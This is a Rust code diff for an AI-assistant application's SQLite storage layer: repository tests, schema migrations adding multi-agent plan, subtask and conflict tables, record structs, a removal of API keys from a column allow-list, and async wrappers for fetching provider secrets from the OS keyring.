async fn repo_03_subtask_insert_and_list() {
|
||||||
|
let db = setup().await;
|
||||||
|
let plan_repo = PlanRepo::new(&db);
|
||||||
|
let st_repo = SubTaskRepo::new(&db);
|
||||||
|
plan_repo
|
||||||
|
.insert(PlanRecord {
|
||||||
|
id: "plan-003".into(),
|
||||||
|
conversation_id: "conv-001".into(),
|
||||||
|
user_message_id: None,
|
||||||
|
status: "planning".into(),
|
||||||
|
subtask_count: 2,
|
||||||
|
created_at: "2026-07-01T00:00:00Z".into(),
|
||||||
|
completed_at: None,
|
||||||
|
})
|
||||||
|
.await
|
||||||
|
.unwrap();
|
||||||
|
st_repo
|
||||||
|
.insert(SubTaskRecord {
|
||||||
|
id: "st-001".into(),
|
||||||
|
plan_id: "plan-003".into(),
|
||||||
|
persona_id: Some("coder".into()),
|
||||||
|
intent: "读取代码".into(),
|
||||||
|
status: "pending".into(),
|
||||||
|
layer: 0,
|
||||||
|
deps: None,
|
||||||
|
branch: Some("subtask/plan-003/st-001".into()),
|
||||||
|
created_at: "2026-07-01T00:00:00Z".into(),
|
||||||
|
completed_at: None,
|
||||||
|
})
|
||||||
|
.await
|
||||||
|
.unwrap();
|
||||||
|
st_repo
|
||||||
|
.insert(SubTaskRecord {
|
||||||
|
id: "st-002".into(),
|
||||||
|
plan_id: "plan-003".into(),
|
||||||
|
persona_id: Some("coder".into()),
|
||||||
|
intent: "修改代码".into(),
|
||||||
|
status: "pending".into(),
|
||||||
|
layer: 1,
|
||||||
|
deps: Some(r#"["st-001"]"#.into()),
|
||||||
|
branch: Some("subtask/plan-003/st-002".into()),
|
||||||
|
created_at: "2026-07-01T00:00:00Z".into(),
|
||||||
|
completed_at: None,
|
||||||
|
})
|
||||||
|
.await
|
||||||
|
.unwrap();
|
||||||
|
let list = st_repo.list_by_plan("plan-003").await.unwrap();
|
||||||
|
assert_eq!(list.len(), 2);
|
||||||
|
assert_eq!(list[0].layer, 0); // layer 排序
|
||||||
|
assert_eq!(list[1].layer, 1);
|
||||||
|
}
|
||||||
|
|
||||||
|
#[tokio::test]
|
||||||
|
async fn repo_04_subtask_update_status() {
|
||||||
|
let db = setup().await;
|
||||||
|
let plan_repo = PlanRepo::new(&db);
|
||||||
|
let st_repo = SubTaskRepo::new(&db);
|
||||||
|
plan_repo
|
||||||
|
.insert(PlanRecord {
|
||||||
|
id: "plan-004".into(),
|
||||||
|
conversation_id: "conv-001".into(),
|
||||||
|
user_message_id: None,
|
||||||
|
status: "planning".into(),
|
||||||
|
subtask_count: 1,
|
||||||
|
created_at: "2026-07-01T00:00:00Z".into(),
|
||||||
|
completed_at: None,
|
||||||
|
})
|
||||||
|
.await
|
||||||
|
.unwrap();
|
||||||
|
st_repo
|
||||||
|
.insert(SubTaskRecord {
|
||||||
|
id: "st-004".into(),
|
||||||
|
plan_id: "plan-004".into(),
|
||||||
|
persona_id: None,
|
||||||
|
intent: "test".into(),
|
||||||
|
status: "pending".into(),
|
||||||
|
layer: 0,
|
||||||
|
deps: None,
|
||||||
|
branch: None,
|
||||||
|
created_at: "2026-07-01T00:00:00Z".into(),
|
||||||
|
completed_at: None,
|
||||||
|
})
|
||||||
|
.await
|
||||||
|
.unwrap();
|
||||||
|
assert!(st_repo.update_status("st-004", "done", Some("2026-07-01T01:00:00Z")).await.unwrap());
|
||||||
|
let list = st_repo.list_by_plan("plan-004").await.unwrap();
|
||||||
|
assert_eq!(list[0].status, "done");
|
||||||
|
}
|
||||||
|
|
||||||
|
#[tokio::test]
|
||||||
|
async fn repo_05_conflict_insert_and_list_pending() {
|
||||||
|
let db = setup().await;
|
||||||
|
let plan_repo = PlanRepo::new(&db);
|
||||||
|
let conf_repo = ConflictRepo::new(&db);
|
||||||
|
plan_repo
|
||||||
|
.insert(PlanRecord {
|
||||||
|
id: "plan-005".into(),
|
||||||
|
conversation_id: "conv-001".into(),
|
||||||
|
user_message_id: None,
|
||||||
|
status: "merging".into(),
|
||||||
|
subtask_count: 2,
|
||||||
|
created_at: "2026-07-01T00:00:00Z".into(),
|
||||||
|
completed_at: None,
|
||||||
|
})
|
||||||
|
.await
|
||||||
|
.unwrap();
|
||||||
|
conf_repo
|
||||||
|
.insert(ConflictRecord {
|
||||||
|
id: "conf-001".into(),
|
||||||
|
plan_id: "plan-005".into(),
|
||||||
|
file_path: "src/main.rs".into(),
|
||||||
|
conflict_type: "file".into(),
|
||||||
|
subtask_a: Some("st-a".into()),
|
||||||
|
subtask_b: Some("st-b".into()),
|
||||||
|
diff_a: Some("-old\n+new_a".into()),
|
||||||
|
diff_b: Some("-old\n+new_b".into()),
|
||||||
|
resolution: "pending".into(),
|
||||||
|
resolved_by: None,
|
||||||
|
created_at: "2026-07-01T00:00:00Z".into(),
|
||||||
|
resolved_at: None,
|
||||||
|
})
|
||||||
|
.await
|
||||||
|
.unwrap();
|
||||||
|
let pending = conf_repo.list_pending("plan-005").await.unwrap();
|
||||||
|
assert_eq!(pending.len(), 1);
|
||||||
|
assert_eq!(pending[0].file_path, "src/main.rs");
|
||||||
|
}
|
||||||
|
|
||||||
|
#[tokio::test]
|
||||||
|
async fn repo_06_conflict_resolve() {
|
||||||
|
let db = setup().await;
|
||||||
|
let plan_repo = PlanRepo::new(&db);
|
||||||
|
let conf_repo = ConflictRepo::new(&db);
|
||||||
|
plan_repo
|
||||||
|
.insert(PlanRecord {
|
||||||
|
id: "plan-006".into(),
|
||||||
|
conversation_id: "conv-001".into(),
|
||||||
|
user_message_id: None,
|
||||||
|
status: "merging".into(),
|
||||||
|
subtask_count: 1,
|
||||||
|
created_at: "2026-07-01T00:00:00Z".into(),
|
||||||
|
completed_at: None,
|
||||||
|
})
|
||||||
|
.await
|
||||||
|
.unwrap();
|
||||||
|
conf_repo
|
||||||
|
.insert(ConflictRecord {
|
||||||
|
id: "conf-002".into(),
|
||||||
|
plan_id: "plan-006".into(),
|
||||||
|
file_path: "src/lib.rs".into(),
|
||||||
|
conflict_type: "semantic".into(),
|
||||||
|
subtask_a: None,
|
||||||
|
subtask_b: None,
|
||||||
|
diff_a: None,
|
||||||
|
diff_b: None,
|
||||||
|
resolution: "pending".into(),
|
||||||
|
resolved_by: None,
|
||||||
|
created_at: "2026-07-01T00:00:00Z".into(),
|
||||||
|
resolved_at: None,
|
||||||
|
})
|
||||||
|
.await
|
||||||
|
.unwrap();
|
||||||
|
assert!(
|
||||||
|
conf_repo
|
||||||
|
.resolve("conf-002", "merged", "reviewer", "2026-07-01T02:00:00Z")
|
||||||
|
.await
|
||||||
|
.unwrap()
|
||||||
|
);
|
||||||
|
let pending = conf_repo.list_pending("plan-006").await.unwrap();
|
||||||
|
assert_eq!(pending.len(), 0, "解决后 pending 列表应为空");
|
||||||
|
}
|
||||||
|
|
||||||
|
#[tokio::test]
|
||||||
|
async fn repo_07_subtask_branch_null_for_non_git() {
|
||||||
|
let db = setup().await;
|
||||||
|
let plan_repo = PlanRepo::new(&db);
|
||||||
|
let st_repo = SubTaskRepo::new(&db);
|
||||||
|
plan_repo
|
||||||
|
.insert(PlanRecord {
|
||||||
|
id: "plan-007".into(),
|
||||||
|
conversation_id: "conv-001".into(),
|
||||||
|
user_message_id: None,
|
||||||
|
status: "planning".into(),
|
||||||
|
subtask_count: 1,
|
||||||
|
created_at: "2026-07-01T00:00:00Z".into(),
|
||||||
|
completed_at: None,
|
||||||
|
})
|
||||||
|
.await
|
||||||
|
.unwrap();
|
||||||
|
st_repo
|
||||||
|
.insert(SubTaskRecord {
|
||||||
|
id: "st-007".into(),
|
||||||
|
plan_id: "plan-007".into(),
|
||||||
|
persona_id: None,
|
||||||
|
intent: "非 Git 工程".into(),
|
||||||
|
status: "pending".into(),
|
||||||
|
layer: 0,
|
||||||
|
deps: None,
|
||||||
|
branch: None, // 非 Git 工程
|
||||||
|
created_at: "2026-07-01T00:00:00Z".into(),
|
||||||
|
completed_at: None,
|
||||||
|
})
|
||||||
|
.await
|
||||||
|
.unwrap();
|
||||||
|
let list = st_repo.list_by_plan("plan-007").await.unwrap();
|
||||||
|
assert!(list[0].branch.is_none(), "非 Git 工程 branch 应为 NULL");
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -180,8 +180,10 @@ pub fn allowed_columns_for(table: &str) -> Option<&'static [&'static str]> {
|
|||||||
"id", "workflow_id", "node_id", "node_type", "status", "input_json", "output_json",
|
"id", "workflow_id", "node_id", "node_type", "status", "input_json", "output_json",
|
||||||
"error_message", "started_at", "completed_at",
|
"error_message", "started_at", "completed_at",
|
||||||
],
|
],
|
||||||
|
// api_key 不列入白名单:密钥写入应只走 update_full/insert + keyring 配套,
|
||||||
|
// 禁止 update_field 旁路绕过 keyring(防明文写回 DB)。
|
||||||
"ai_providers" => &[
|
"ai_providers" => &[
|
||||||
"id", "name", "provider_type", "api_key", "base_url", "default_model", "models",
|
"id", "name", "provider_type", "base_url", "default_model", "models",
|
||||||
"is_default", "config", "created_at", "updated_at",
|
"is_default", "config", "created_at", "updated_at",
|
||||||
],
|
],
|
||||||
"ai_conversations" => &[
|
"ai_conversations" => &[
|
||||||
|
|||||||
@@ -437,6 +437,60 @@ impl TaskRepo {
|
|||||||
.map_err(storage_err)?
|
.map_err(storage_err)?
|
||||||
}
|
}
|
||||||
|
|
||||||
|
/// 按 TaskQuery 条件计数(不含 limit/offset,用于分页 total)。
|
||||||
|
///
|
||||||
|
/// 复用 list_by_query 的 WHERE 构造逻辑(仅 WHERE,无 ORDER BY/LIMIT),
|
||||||
|
/// 返回满足条件的总行数(忽略分页裁剪)。
|
||||||
|
pub async fn count_by_query(&self, query: &TaskQuery) -> Result<i64> {
|
||||||
|
let conn = self.conn.clone();
|
||||||
|
let project_id = query.project_id.clone();
|
||||||
|
let status = query.status.clone();
|
||||||
|
let priority = query.priority;
|
||||||
|
let keyword = query.keyword.clone();
|
||||||
|
|
||||||
|
tokio::task::spawn_blocking(move || {
|
||||||
|
let guard = conn.blocking_lock();
|
||||||
|
|
||||||
|
let mut where_clauses: Vec<String> = vec!["deleted_at IS NULL".to_string()];
|
||||||
|
let mut params_vec: Vec<Box<dyn rusqlite::ToSql>> = Vec::new();
|
||||||
|
|
||||||
|
if let Some(ref pid) = project_id {
|
||||||
|
where_clauses.push(format!("project_id = ?{}", params_vec.len() + 1));
|
||||||
|
params_vec.push(Box::new(pid.clone()));
|
||||||
|
}
|
||||||
|
if let Some(ref s) = status {
|
||||||
|
where_clauses.push(format!("status = ?{}", params_vec.len() + 1));
|
||||||
|
params_vec.push(Box::new(s.clone()));
|
||||||
|
}
|
||||||
|
if let Some(p) = priority {
|
||||||
|
where_clauses.push(format!("priority = ?{}", params_vec.len() + 1));
|
||||||
|
params_vec.push(Box::new(p));
|
||||||
|
}
|
||||||
|
if let Some(ref kw) = keyword {
|
||||||
|
let escaped = kw.replace('%', "\\%").replace('_', "\\_");
|
||||||
|
let pat = format!("%{escaped}%");
|
||||||
|
let p1 = params_vec.len() + 1;
|
||||||
|
let p2 = p1 + 1;
|
||||||
|
where_clauses.push(format!("(title LIKE ?{p1} OR description LIKE ?{p2}) ESCAPE '\\'"));
|
||||||
|
params_vec.push(Box::new(pat.clone()));
|
||||||
|
params_vec.push(Box::new(pat));
|
||||||
|
}
|
||||||
|
|
||||||
|
let sql = format!(
|
||||||
|
"SELECT COUNT(*) FROM tasks WHERE {}",
|
||||||
|
where_clauses.join(" AND ")
|
||||||
|
);
|
||||||
|
let param_refs: Vec<&dyn rusqlite::ToSql> =
|
||||||
|
params_vec.iter().map(|p| p.as_ref()).collect();
|
||||||
|
let count: i64 = guard
|
||||||
|
.query_row(&sql, param_refs.as_slice(), |row| row.get(0))
|
||||||
|
.map_err(storage_err)?;
|
||||||
|
Ok(count)
|
||||||
|
})
|
||||||
|
.await
|
||||||
|
.map_err(|e| storage_err(format!("count_by_query join failed: {e}")))?
|
||||||
|
}
|
||||||
|
|
||||||
/// 查某父任务的全部子任务(parent_id = ?,deleted_at IS NULL),按创建时间升序。
|
/// 查某父任务的全部子任务(parent_id = ?,deleted_at IS NULL),按创建时间升序。
|
||||||
///
|
///
|
||||||
/// 知识图谱 Phase 1 V29(对标设计 §2.1 父任务聚合规则):父任务=容器模型,status
|
/// 知识图谱 Phase 1 V29(对标设计 §2.1 父任务聚合规则):父任务=容器模型,status
|
||||||
@@ -730,16 +784,16 @@ mod tests {
|
|||||||
let repo = setup().await;
|
let repo = setup().await;
|
||||||
repo.insert(trec("parent", "todo", None)).await.unwrap();
|
repo.insert(trec("parent", "todo", None)).await.unwrap();
|
||||||
// 4 个子任务:status 分布 todo×2 / in_progress×1 / done×1(queue 统一 todo)
|
// 4 个子任务:status 分布 todo×2 / in_progress×1 / done×1(queue 统一 todo)
|
||||||
repo.insert(trec_full("c1", "todo", Some("parent"), "todo"))
|
repo.insert(trec_full("c1", "todo", Some("parent"), TaskStatus::Todo))
|
||||||
.await
|
.await
|
||||||
.unwrap();
|
.unwrap();
|
||||||
repo.insert(trec_full("c2", "todo", Some("parent"), "todo"))
|
repo.insert(trec_full("c2", "todo", Some("parent"), TaskStatus::Todo))
|
||||||
.await
|
.await
|
||||||
.unwrap();
|
.unwrap();
|
||||||
repo.insert(trec_full("c3", "todo", Some("parent"), "in_progress"))
|
repo.insert(trec_full("c3", "todo", Some("parent"), TaskStatus::InProgress))
|
||||||
.await
|
.await
|
||||||
.unwrap();
|
.unwrap();
|
||||||
repo.insert(trec_full("c4", "todo", Some("parent"), "done"))
|
repo.insert(trec_full("c4", "todo", Some("parent"), TaskStatus::Done))
|
||||||
.await
|
.await
|
||||||
.unwrap();
|
.unwrap();
|
||||||
|
|
||||||
@@ -787,7 +841,7 @@ mod tests {
|
|||||||
repo.insert(trec_full("parent", "todo", None, TaskStatus::Todo))
|
repo.insert(trec_full("parent", "todo", None, TaskStatus::Todo))
|
||||||
.await
|
.await
|
||||||
.unwrap();
|
.unwrap();
|
||||||
let ok = repo.set_status_for_aggregation("parent", "in_progress");
|
let ok = repo.set_status_for_aggregation("parent", "in_progress").await.unwrap();
|
||||||
assert!(ok, "应命中写入");
|
assert!(ok, "应命中写入");
|
||||||
let after = repo.get_by_id("parent").await.unwrap().unwrap();
|
let after = repo.get_by_id("parent").await.unwrap().unwrap();
|
||||||
assert_eq!(after.status.as_str(), "in_progress", "status 应被聚合写入更新");
|
assert_eq!(after.status.as_str(), "in_progress", "status 应被聚合写入更新");
|
||||||
|
|||||||
@@ -45,7 +45,7 @@ pub fn run(conn: &Connection) -> Result<()> {
|
|||||||
// 什么数据库、Redis 在哪、有没有 MQ"的基础设施上下文。
|
// 什么数据库、Redis 在哪、有没有 MQ"的基础设施上下文。
|
||||||
// V33 = 审批重启恢复:ai_conversations 加 pending_approvals TEXT 列,持久化挂起审批快照,
|
// V33 = 审批重启恢复:ai_conversations 加 pending_approvals TEXT 列,持久化挂起审批快照,
|
||||||
// 重启后从 DB 恢复 pending_approvals 内存态,使待审批不丢。
|
// 重启后从 DB 恢复 pending_approvals 内存态,使待审批不丢。
|
||||||
let steps: [(i32, fn(&Connection) -> Result<()>); 34] = [
|
let steps: [(i32, fn(&Connection) -> Result<()>); 36] = [
|
||||||
(1, migrate_v1),
|
(1, migrate_v1),
|
||||||
(2, migrate_v2),
|
(2, migrate_v2),
|
||||||
(3, migrate_v3),
|
(3, migrate_v3),
|
||||||
@@ -80,6 +80,8 @@ pub fn run(conn: &Connection) -> Result<()> {
|
|||||||
(32, migrate_v32),
|
(32, migrate_v32),
|
||||||
(33, migrate_v33),
|
(33, migrate_v33),
|
||||||
(34, migrate_v34),
|
(34, migrate_v34),
|
||||||
|
(35, migrate_v35),
|
||||||
|
(36, migrate_v36),
|
||||||
];
|
];
|
||||||
|
|
||||||
for (version, migrate_fn) in steps {
|
for (version, migrate_fn) in steps {
|
||||||
@@ -909,7 +911,7 @@ fn migrate_v31(conn: &Connection) -> Result<()> {
|
|||||||
|
|
||||||
/// V32: ai_conversations 加 pinned_goals 列(对话透明化 L1 目标钉扎持久化)
|
/// V32: ai_conversations 加 pinned_goals 列(对话透明化 L1 目标钉扎持久化)
|
||||||
///
|
///
|
||||||
/// 对话目标由 PerConvState.pinned_goals(Vec<String>)管理,原先仅在内存态存在,
|
/// 对话目标由 PerConvState.pinned_goals(Vec<GoalEntry>)管理,原先仅在内存态存在,
|
||||||
/// 此迁移为其提供持久化列,默认空 JSON 数组'[]'。
|
/// 此迁移为其提供持久化列,默认空 JSON 数组'[]'。
|
||||||
fn migrate_v32(conn: &Connection) -> Result<()> {
|
fn migrate_v32(conn: &Connection) -> Result<()> {
|
||||||
conn.execute_batch(
|
conn.execute_batch(
|
||||||
@@ -995,6 +997,124 @@ fn migrate_v34(conn: &Connection) -> Result<()> {
|
|||||||
Ok(())
|
Ok(())
|
||||||
}
|
}
|
||||||
|
|
||||||
|
/// V35:工程依赖关系—module_dependencies 表(工程间依赖边,用于依赖图)
|
||||||
|
///
|
||||||
|
/// dep_type 枚举值:library(类库) / api(API调用) / mq(消息队列) / shared(共享资源) / custom(自定义)
|
||||||
|
fn migrate_v35(conn: &Connection) -> Result<()> {
|
||||||
|
conn.execute(
|
||||||
|
"CREATE TABLE IF NOT EXISTS module_dependencies (
|
||||||
|
id TEXT PRIMARY KEY,
|
||||||
|
project_id TEXT NOT NULL REFERENCES projects(id),
|
||||||
|
from_module_id TEXT NOT NULL REFERENCES project_modules(id),
|
||||||
|
to_module_id TEXT NOT NULL REFERENCES project_modules(id),
|
||||||
|
dep_type TEXT NOT NULL DEFAULT 'library',
|
||||||
|
label TEXT,
|
||||||
|
created_at TEXT NOT NULL
|
||||||
|
)",
|
||||||
|
[],
|
||||||
|
)?;
|
||||||
|
conn.execute(
|
||||||
|
"CREATE INDEX IF NOT EXISTS idx_module_deps_project ON module_dependencies(project_id)",
|
||||||
|
[],
|
||||||
|
)?;
|
||||||
|
conn.execute(
|
||||||
|
"CREATE INDEX IF NOT EXISTS idx_module_deps_from ON module_dependencies(from_module_id)",
|
||||||
|
[],
|
||||||
|
)?;
|
||||||
|
conn.execute(
|
||||||
|
"CREATE INDEX IF NOT EXISTS idx_module_deps_to ON module_dependencies(to_module_id)",
|
||||||
|
[],
|
||||||
|
)?;
|
||||||
|
tracing::info!("v35: 建 module_dependencies 表 + 索引(工程依赖图)");
|
||||||
|
conn.execute("INSERT INTO schema_version (version) VALUES (?)", [35])?;
|
||||||
|
tracing::info!("迁移 v35 完成");
|
||||||
|
Ok(())
|
||||||
|
}
|
||||||
|
|
||||||
|
/// V36:多 Agent 并行执行数据层(ai_plans/ai_subtasks/ai_conflicts 3 新表 +
|
||||||
|
/// ai_messages/ai_tool_executions 加 subtask_id 列)。
|
||||||
|
/// 设计依据:docs/02-架构设计/专项设计/多Agent并行执行与仲裁合并设计-2026-07-01.md §二
|
||||||
|
fn migrate_v36(conn: &Connection) -> Result<()> {
|
||||||
|
// 1. ai_messages 加 subtask_id 列(消息归属子任务,NULL=单 Agent 时期)
|
||||||
|
if !column_exists(conn, "ai_messages", "subtask_id") {
|
||||||
|
conn.execute("ALTER TABLE ai_messages ADD COLUMN subtask_id TEXT", [])?;
|
||||||
|
tracing::info!("v36: ai_messages 加 subtask_id 列");
|
||||||
|
}
|
||||||
|
|
||||||
|
// 2. ai_tool_executions 加 subtask_id 列(工具调用归属子任务)
|
||||||
|
if !column_exists(conn, "ai_tool_executions", "subtask_id") {
|
||||||
|
conn.execute("ALTER TABLE ai_tool_executions ADD COLUMN subtask_id TEXT", [])?;
|
||||||
|
tracing::info!("v36: ai_tool_executions 加 subtask_id 列");
|
||||||
|
}
|
||||||
|
|
||||||
|
// 3. ai_plans 表(Plan 生命周期:用户消息触发→拆解→执行→合并→完成)
|
||||||
|
conn.execute(
|
||||||
|
"CREATE TABLE IF NOT EXISTS ai_plans (
|
||||||
|
id TEXT PRIMARY KEY,
|
||||||
|
conversation_id TEXT NOT NULL,
|
||||||
|
user_message_id TEXT,
|
||||||
|
status TEXT NOT NULL DEFAULT 'planning',
|
||||||
|
subtask_count INTEGER NOT NULL DEFAULT 0,
|
||||||
|
created_at TEXT NOT NULL,
|
||||||
|
completed_at TEXT
|
||||||
|
)",
|
||||||
|
[],
|
||||||
|
)?;
|
||||||
|
conn.execute(
|
||||||
|
"CREATE INDEX IF NOT EXISTS idx_ai_plans_conv ON ai_plans(conversation_id, created_at)",
|
||||||
|
[],
|
||||||
|
)?;
|
||||||
|
|
||||||
|
// 4. ai_subtasks 表(SubTask 状态 + DAG 层级 + Git worktree 分支)
|
||||||
|
conn.execute(
|
||||||
|
"CREATE TABLE IF NOT EXISTS ai_subtasks (
|
||||||
|
id TEXT PRIMARY KEY,
|
||||||
|
plan_id TEXT NOT NULL REFERENCES ai_plans(id),
|
||||||
|
persona_id TEXT,
|
||||||
|
intent TEXT NOT NULL DEFAULT '',
|
||||||
|
status TEXT NOT NULL DEFAULT 'pending',
|
||||||
|
layer INTEGER NOT NULL DEFAULT 0,
|
||||||
|
deps TEXT,
|
||||||
|
branch TEXT,
|
||||||
|
created_at TEXT NOT NULL,
|
||||||
|
completed_at TEXT
|
||||||
|
)",
|
||||||
|
[],
|
||||||
|
)?;
|
||||||
|
conn.execute(
|
||||||
|
"CREATE INDEX IF NOT EXISTS idx_ai_subtasks_plan ON ai_subtasks(plan_id, layer)",
|
||||||
|
[],
|
||||||
|
)?;
|
||||||
|
|
||||||
|
// 5. ai_conflicts 表(合并冲突:同文件路径 + 跨文件语义冲突)
|
||||||
|
conn.execute(
|
||||||
|
"CREATE TABLE IF NOT EXISTS ai_conflicts (
|
||||||
|
id TEXT PRIMARY KEY,
|
||||||
|
plan_id TEXT NOT NULL REFERENCES ai_plans(id),
|
||||||
|
file_path TEXT NOT NULL DEFAULT '',
|
||||||
|
conflict_type TEXT NOT NULL DEFAULT 'file',
|
||||||
|
subtask_a TEXT,
|
||||||
|
subtask_b TEXT,
|
||||||
|
diff_a TEXT,
|
||||||
|
diff_b TEXT,
|
||||||
|
resolution TEXT NOT NULL DEFAULT 'pending',
|
||||||
|
resolved_by TEXT,
|
||||||
|
created_at TEXT NOT NULL,
|
||||||
|
resolved_at TEXT
|
||||||
|
)",
|
||||||
|
[],
|
||||||
|
)?;
|
||||||
|
conn.execute(
|
||||||
|
"CREATE INDEX IF NOT EXISTS idx_ai_conflicts_plan ON ai_conflicts(plan_id, resolution)",
|
||||||
|
[],
|
||||||
|
)?;
|
||||||
|
|
||||||
|
tracing::info!("v36: 建 ai_plans/ai_subtasks/ai_conflicts 表 + subtask_id 列(多 Agent 并行执行数据层)");
|
||||||
|
conn.execute("INSERT INTO schema_version (version) VALUES (?)", [36])?;
|
||||||
|
tracing::info!("迁移 v36 完成");
|
||||||
|
Ok(())
|
||||||
|
}
|
||||||
|
|
||||||
/// V21 建表 SQL — 消息拆分存储 ai_messages 表
|
/// V21 建表 SQL — 消息拆分存储 ai_messages 表
|
||||||
///
|
///
|
||||||
/// 与 V9_SQL 中的 ai_messages 镜像(V9 给新库,此 const 给老库 V21 迁移用 IF NOT EXISTS)。
|
/// 与 V9_SQL 中的 ai_messages 镜像(V9 给新库,此 const 给老库 V21 迁移用 IF NOT EXISTS)。
|
||||||
|
|||||||
@@ -360,7 +360,7 @@ pub struct AiConversationRecord {
|
|||||||
pub pinned: bool, // 是否置顶(排序置前;UX-17)
|
pub pinned: bool, // 是否置顶(排序置前;UX-17)
|
||||||
pub prompt_tokens: Option<i64>, // 输入 token 累计(流式 usage 落库)
|
pub prompt_tokens: Option<i64>, // 输入 token 累计(流式 usage 落库)
|
||||||
pub completion_tokens: Option<i64>, // 输出 token 累计(流式 usage 落库)
|
pub completion_tokens: Option<i64>, // 输出 token 累计(流式 usage 落库)
|
||||||
pub pinned_goals: Option<String>, // 对话目标钉扎持久化(JSON 字符串数组,默认'[]')
|
pub pinned_goals: Option<String>, // 对话目标钉扎持久化(JSON GoalEntry 数组 [{text,status}],兼容旧 ["text"] 格式,默认'[]')
|
||||||
pub pending_approvals: Option<String>, // 挂起审批快照(JSON 对象,以 tool_call_id 为键,默认'{}')
|
pub pending_approvals: Option<String>, // 挂起审批快照(JSON 对象,以 tool_call_id 为键,默认'{}')
|
||||||
pub created_at: String,
|
pub created_at: String,
|
||||||
pub updated_at: String,
|
pub updated_at: String,
|
||||||
@@ -483,3 +483,76 @@ pub struct ProjectModuleRecord {
|
|||||||
pub created_at: String,
|
pub created_at: String,
|
||||||
pub updated_at: String,
|
pub updated_at: String,
|
||||||
}
|
}
|
||||||
|
|
||||||
|
/// 工程依赖关系记录(V35 module_dependencies 表)。
|
||||||
|
#[derive(Debug, Clone, Serialize, Deserialize, Default)]
|
||||||
|
pub struct ModuleDependencyRecord {
|
||||||
|
pub id: String,
|
||||||
|
pub project_id: String,
|
||||||
|
pub from_module_id: String,
|
||||||
|
pub to_module_id: String,
|
||||||
|
/// 依赖类型:library / api / mq / shared / custom
|
||||||
|
pub dep_type: String,
|
||||||
|
/// 可选标签(自定义描述)
|
||||||
|
pub label: Option<String>,
|
||||||
|
pub created_at: String,
|
||||||
|
}
|
||||||
|
|
||||||
|
// ============================================================
|
||||||
|
// 多 Agent 并行执行模型 (V36)
|
||||||
|
// ============================================================
|
||||||
|
|
||||||
|
/// Plan 记录(一次用户消息触发的并行执行计划)
|
||||||
|
#[derive(Debug, Clone, Serialize, Deserialize)]
|
||||||
|
pub struct PlanRecord {
|
||||||
|
pub id: String,
|
||||||
|
pub conversation_id: String,
|
||||||
|
/// 触发 Plan 的用户消息 id
|
||||||
|
pub user_message_id: Option<String>,
|
||||||
|
/// planning / executing / merging / done / error
|
||||||
|
pub status: String,
|
||||||
|
pub subtask_count: i64,
|
||||||
|
pub created_at: String,
|
||||||
|
pub completed_at: Option<String>,
|
||||||
|
}
|
||||||
|
|
||||||
|
/// SubTask 记录(Plan 拆解出的子任务)
|
||||||
|
#[derive(Debug, Clone, Serialize, Deserialize)]
|
||||||
|
pub struct SubTaskRecord {
|
||||||
|
pub id: String,
|
||||||
|
pub plan_id: String,
|
||||||
|
/// 分配的人设 id(coder/reviewer/architect/tester/analyst)
|
||||||
|
pub persona_id: Option<String>,
|
||||||
|
/// 子任务意图描述
|
||||||
|
pub intent: String,
|
||||||
|
/// pending / running / done / error
|
||||||
|
pub status: String,
|
||||||
|
/// DAG 层级(0 起)
|
||||||
|
pub layer: i64,
|
||||||
|
/// 依赖的 SubTask id 列表(JSON 数组字符串)
|
||||||
|
pub deps: Option<String>,
|
||||||
|
/// Git worktree 分支名(NULL=非 Git 工程降级串行)
|
||||||
|
pub branch: Option<String>,
|
||||||
|
pub created_at: String,
|
||||||
|
pub completed_at: Option<String>,
|
||||||
|
}
|
||||||
|
|
||||||
|
/// 冲突记录(合并时检测到的文件/语义冲突)
|
||||||
|
#[derive(Debug, Clone, Serialize, Deserialize)]
|
||||||
|
pub struct ConflictRecord {
|
||||||
|
pub id: String,
|
||||||
|
pub plan_id: String,
|
||||||
|
pub file_path: String,
|
||||||
|
/// file(同文件路径) / semantic(编译失败)
|
||||||
|
pub conflict_type: String,
|
||||||
|
pub subtask_a: Option<String>,
|
||||||
|
pub subtask_b: Option<String>,
|
||||||
|
pub diff_a: Option<String>,
|
||||||
|
pub diff_b: Option<String>,
|
||||||
|
/// pending / a / b / merged / manual
|
||||||
|
pub resolution: String,
|
||||||
|
/// reviewer / user
|
||||||
|
pub resolved_by: Option<String>,
|
||||||
|
pub created_at: String,
|
||||||
|
pub resolved_at: Option<String>,
|
||||||
|
}
|
||||||
|
|||||||
@@ -101,6 +101,18 @@ pub fn get_provider_secret(id: &str) -> Option<String> {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
/// [`get_provider_secret`] 的 async 版本:`spawn_blocking` 隔离同步 keyring 调用。
|
||||||
|
///
|
||||||
|
/// keyring 在 Linux secret-service D-Bus / Windows COM / macOS Keychain 同步阻塞,直接在
|
||||||
|
/// async 上下文调用会卡 tokio runtime(Tauri 单线程 runtime 尤其敏感)。async 路径优先用此版本;
|
||||||
|
/// 同步版保留供 block_on / 非 async 路径(迁移、测试)使用。
|
||||||
|
pub async fn get_provider_secret_async(id: String) -> Option<String> {
|
||||||
|
tokio::task::spawn_blocking(move || get_provider_secret(&id))
|
||||||
|
.await
|
||||||
|
.ok()
|
||||||
|
.flatten()
|
||||||
|
}
|
||||||
|
|
||||||
/// 消费点用:解析 provider 真实密钥 — DB 优先,fallback keyring(兼容未迁移老库)
|
/// 消费点用:解析 provider 真实密钥 — DB 优先,fallback keyring(兼容未迁移老库)
|
||||||
pub fn resolve_provider_secret(record: &AiProviderRecord) -> String {
|
pub fn resolve_provider_secret(record: &AiProviderRecord) -> String {
|
||||||
if !record.api_key.is_empty() {
|
if !record.api_key.is_empty() {
|
||||||
@@ -109,18 +121,43 @@ pub fn resolve_provider_secret(record: &AiProviderRecord) -> String {
|
|||||||
get_provider_secret(&record.id).unwrap_or_default()
|
get_provider_secret(&record.id).unwrap_or_default()
|
||||||
}
|
}
|
||||||
|
|
||||||
|
/// [`resolve_provider_secret`] 的 async 版本 — DB 有明文时同步返(不触 keyring),
|
||||||
|
/// 否则 `spawn_blocking` 调 keyring 防 D-Bus / COM 阻塞 tokio runtime。
|
||||||
|
///
|
||||||
|
/// 注:DB 明文路径直接 clone 同步返,只有 fallback keyring 才走 spawn_blocking。
|
||||||
|
pub async fn resolve_provider_secret_async(record: AiProviderRecord) -> String {
|
||||||
|
if !record.api_key.is_empty() {
|
||||||
|
return record.api_key;
|
||||||
|
}
|
||||||
|
get_provider_secret_async(record.id).await.unwrap_or_default()
|
||||||
|
}
|
||||||
|
|
||||||
/// 写入密钥到 keyring(覆盖)
|
/// 写入密钥到 keyring(覆盖)
|
||||||
